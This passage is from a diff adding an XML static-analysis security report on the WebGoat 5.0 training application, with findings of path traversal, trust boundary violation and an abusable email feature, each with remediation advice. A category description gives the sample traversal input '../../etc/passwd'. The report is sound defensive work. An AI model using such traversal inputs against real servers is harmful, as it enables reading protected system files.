+        line=\"77\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"void &lt;clinit&gt;(void)\" functionrelativelocation=\"75\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"1\" categoryname=\"Directory Traversal\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Allowing user input to control paths used in filesystem operations
+        may enable an attacker to access or modify otherwise protected system resources
+        that would normally be inaccessible to end users.  In some cases, the user-provided
+        input may be passed directly to the filesystem operation, or it may be concatenated
+        to one or more fixed strings to construct a fully-qualified path.\"/>\n<para
+        text=\"When an application improperly cleanses special character sequences
+        in user-supplied filenames, a path traversal (or directory traversal) vulnerability
+        may occur.  For example, an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"73\" cwename=\"External Control
+        of File Name or Path\" pcirelated=\"false\" sans=\"22\" certcpp=\"877\">\n<description>\n<text
+        text=\"This call contains a path manipulation flaw.  The argument to the function
+        is a filename constructed using user-supplied input.  If an attacker is allowed
+        to specify all or part of the filename, it may be possible to gain unauthorized
+        access to files on the server, including those outside the webroot, that would
+        be normally be inaccessible to end users.  The level of exposure depends on
+        the effectiveness of input validation routines, if any.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"238\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"171\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"252\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"180\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"9\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.FileInputStream.!operator_javanewinit\"
+        description=\"This call to java.io.FileInputStream.!operator_javanewinit()
+        contains a path manipulation flaw. The argument to the function is a filename
+        constructed using user-supplied input. If an attacker is allowed to specify
+        all or part of the filename, it may be possible to gain unauthorized access
+        to files on the server, including those outside the webroot, that would be
+        normally be inaccessible to end users. The level of exposure depends on the
+        effectiveness of input validation routines, if any. The first argument to
+        !operator_javanewinit() contains tainted data from the variable fileName.
+        The tainted data originated from earlier calls to javax.servlet.http.HttpServletRequest.getHeader,
+        javax.servlet.ServletRequest.getParameterValues, javax.servlet.http.HttpServletRequest.getCookies,
+        and javax.servlet.ServletRequest.getParameterNames.\r\n\r\nValidate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible. When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/73.html)
+        \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\" note=\"\"
+        cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"LessonTracker.java\"
+        line=\"238\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.LessonTracker\"
+        functionprototype=\"LessonTracker load(WebSession, java.lang.String, Screen)\"
+        functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"39\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The first argument to !operator_javanewinit()
+        contains tainted data from the variable file. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"PathBasedAccessControl.java\"
+        line=\"136\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.PathBasedAccessControl\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"22\" categoryname=\"Encapsulation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Encapsulation is about defining strong security boundaries governing
+        data and processes. Within an application, it might mean differentiation between
+        validated and unvalidated data, between public and private members, or between
+        one user's data and another's.  \"/>\n<para text=\"In object-oriented programming,
+        the term encapsulation is used to describe the grouping together of data and
+        functionality within an object and the ability to provide users with a well-defined
+        interface in a way which hides their internal workings.  Though there is some
+        overlap with the above definition, the two definitions should not be confused
+        as being interchangeable.\"/>\n</desc>\n<recommendations>\n<para text=\"The
+        wide variance of encapsulation issues makes it impractical to generalize how
+        these issues should be addressed, beyond stating that encapsulation boundaries
+        should be well-defined and adhered to.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"501\" cwename=\"Trust
+        Boundary Violation\" pcirelated=\"false\">\n<description>\n<text text=\"A
+        trust boundary violation occurs when a program blurs the line between what
+        is trusted and what is untrusted.  This application mixes trusted and untrusted
+        data in the same data structure.  By doing so, it becomes easier for programmers
+        to mistakenly trust unvalidated data.  Without well-established and maintained
+        trust boundaries, programmers will inevitably lose track of which pieces of
+        data have been validated and which have not. This confusion will eventually
+        allow some data to be used without first being validated.  A common manifestation
+        of this flaw is in J2EE application, when a Session object is used to store
+        untrusted data from the HTTP request.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Trust Boundary Violation\" count=\"1\" issueid=\"246\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.http.HttpSession.setAttribute\"
+        description=\"This call to javax.servlet.http.HttpSession.setAttribute() mixes
+        trusted and untrusted data in the same data structure, thereby encouraging
+        programmers to mistakenly trust unvalidated data. The second argument to setAttribute()
+        contains tainted data from the variable value. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        storing untrusted data alongside trusted data in the same data structure.
+        Establish and maintain trust boundaries for data storage.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/501.html)\r\n\r\n\" note=\"\"
+        cweid=\"501\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"22\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DefaultLessonAction.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DefaultLessonAction\"
+        functionprototype=\"void setSessionAttribute(session.WebSession, java.lang.String,
+        java.lang.Object)\" functionrelativelocation=\"64\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"472\" cwename=\"External
+        Control of Assumed-Immutable Web Parameter\" pcirelated=\"false\">\n<description>\n<text
+        text=\"The web application does not sufficiently verify inputs that are assumed
+        to be immutable but are actually externally controllable, such as hidden form
+        fields. Ruby on Rails provides convenient methods (new, create, create!, update_attributes,
+        update_attributes!) for easily creating or updating instances of an application's
+        model. Multiple attributes can be updated at once with the key/value pairs
+        of a hash. If this hash is created using data under an attackers control,
+        such as the result of an HTML form submission, additional values may be included
+        beyond those intended. If those additional keys match the names of attributes
+        on the model, they may be updated as well.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"274\" module=\"manual_analysis\" type=\"\" description=\"The
+        application send emails on behalf of the user. The contents of the message
+        and the delivery address are controllable by the client. \" note=\"\" cweid=\"472\"
+        remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\"
+        cvss=\"5\" capecid=\"6\" exploitdifficulty=\"2\" inputvector=\"to, subject,
+        msg\">\n<exploit_desc>An attacker could utilize this email to send SPAM messages
+        resulting in the SMPT relay to become untrusted among email service providers.
+        A sophisticated attacker could utilize this to conduct spear phising attacks.
+        The phising email could include links to pages within the application that
+        are vulnerable to open redirect or cross-site scripting, making the attack
+        extremely difficult for a user to detect.</exploit_desc>\n<severity_desc>Due
+        to other vulnerabilities within the application that would allow for a sophisticated
+        spear phising attack, the issue becomes more severe. A security aware user
+        could easily be tricked by the spear phising links since they would start
+        with the correct domain name.</severity_desc>\n<remediation_desc>Only send
+        emails to predetermined delivery addresses that are associated with the application
+        or with the current user. Do not allow the client to set the subject or other
+        smtp headers. Escape all client input with the same mechanisms used to escape
+        tainted data before display within an HTML context.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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